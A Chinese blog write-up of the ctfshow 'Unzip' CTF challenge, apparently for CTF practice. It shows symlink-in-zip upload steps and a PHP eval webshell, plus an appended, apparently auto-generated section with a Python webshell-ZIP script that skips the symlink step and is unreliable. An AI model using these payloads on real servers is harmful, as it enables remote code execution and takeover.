CTFSHOW国赛复现-----Unzip(软连接利用)

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

分析代码得: 


1. `error_reporting(0);`:关闭错误报告。这意味着在运行过程中,任何错误或警告都不会显示。

2. `highlight_file(__FILE__);`:使用 PHP 内置的 `highlight_file` 函数,对当前文件(`__FILE__` 是一个魔术常量,表示当前文件的完整路径和文件名)进行语法高亮显示。这通常用于调试或演示代码。

3. `$finfo = finfo_open(FILEINFO_MIME_TYPE);`:使用 `finfo_open` 函数创建一个新的文件信息资源,用于检查文件的 MIME 类型。`FILEINFO_MIME_TYPE` 是一个预定义常量,表示我们只关心文件的 MIME 类型。

4. `if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){`:使用 `finfo_file` 函数检查上传文件的 MIME 类型。`$_FILES["file"]["tmp_name"]` 是上传文件在服务器上的临时路径。如果文件的 MIME 类型是 'application/zip'(即 ZIP 文件),则执行括号内的代码。

5. `exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);`:使用 `exec` 函数执行一个外部命令。这里,我们先切换到服务器上的 `/tmp` 目录,然后使用 `unzip` 命令解压上传的 ZIP 文件。`-o` 选项表示覆盖已存在的同名文件。

大概意思就是题目将我们上传的zip文件放在tmp这个目录下进行解压,因为不在var/www/html目录下解压所以不会产生解压执行文件的安全隐患,但是并没有对上传的压缩文件进行严格的检查这会导致漏洞产生

 因为解压的目录更改了,所以要把解压文件所在目录放在var/www/html(因为html目录下是web环境)这样才能在解压shell文件时实现getshell

这里利用linux构造软连接使得上传文件指向到var/www/html目录下

关于软连接的了解:

linux硬链接与软链接 - crazyYong - 博客园 (cnblogs.com)

 构造软连接

ln -s var/www/html test

压缩文件

zip --symlinks test1.zip test

--symlinks表示压缩软连接 

 上传压缩文件

这时解压文件后是软连接就会实现从tmp指向var/www/html

接下来就是在var/www/html目录下上传一个shell文件就可以了

在test的目录下创建一句话php文件

shell文件内容: 

<?php @eval($_POST['cmd']);?> 

然后再对test进行压缩

zip -r test1.zip test

  

 再上传该压缩包,因为解压后的目录同名所以会覆盖原指定目录

所以此时目录是var/www/html/cmd.php

 上传后访问cmd.php就可以getshell了

参考:

2021深育杯线上初赛官方WriteUp - 先知社区 (aliyun.com)

### 2023 Unzip 题目复现方法 在探讨2023年中的Unzip题目复现时,可以从以下几个方面入手: #### 一、题目背景分析 根据描述,在这道题目中,程序会进入`/tmp`目录并解压参者上传的文件。攻击目标是通过上传一个包含一句话木马的ZIP包实现远程代码执行(RCE)。然而,为了成功完成这一操作,需要解决的关键问题是确保解压后的文件能够被访问[^1]。 #### 二、技术细节解析 ##### 1. 文件路径控制 由于程序默认会在`/tmp`目录下运行,而此目录通常具有较高的权限限制以及短暂的生命期特性,因此需设计一种机制使得解压后的恶意脚本能够在指定位置被执行或者持久化存在以便后续利用。 ##### 2. 利用技巧说明 - **绕过访问限制**:如果服务器端未正确配置安全策略,则可能允许用户自定义解压缩的目标路径。此时可以通过构造特殊命名结构的ZIP档案来突破常规约束条件。 - **无工具环境下的验证手段**:当面对缺乏常用命令行工具如`curl`的情况时,可考虑采用其他方式确认漏洞触发状态,比如监听外部网络连接请求或是观察特定资源变化等替代方案[^3]。 #### 三、实践案例分享 下面给出一段简单的Python代码用于生成含有WebShell功能的ZIP文档作为演示用途,请注意实际竞环境中应严格遵循比规则与道德规范! ```python import os import zipfile def create_webshell_zip(output_filename, shell_content): with zipfile.ZipFile(output_filename, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.writestr('index.php', shell_content) if __name__ == "__main__": web_shell_code = "<?php @eval($_POST['cmd']); ?>" output_file = "malicious.zip" create_webshell_zip(output_file, web_shell_code) print(f"[+] Webshell ZIP created successfully: {output_file}") ``` 上述脚本创建了一个名为`malicious.zip` 的存档文件,其中包含了PHP类型的WebShell代码片段。将其提交至目标平台后,理论上即可达成预期效果。 #### 四、总结建议 对于此类CTF挑战而言,深入理解服务端行为模式至关重要;同时也要善于运用各种编程语言特性和操作系统交互原理发掘潜在突破口。此外,持续积累实战经验并通过高质量的学习材料巩固理论基础同样不可或缺[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值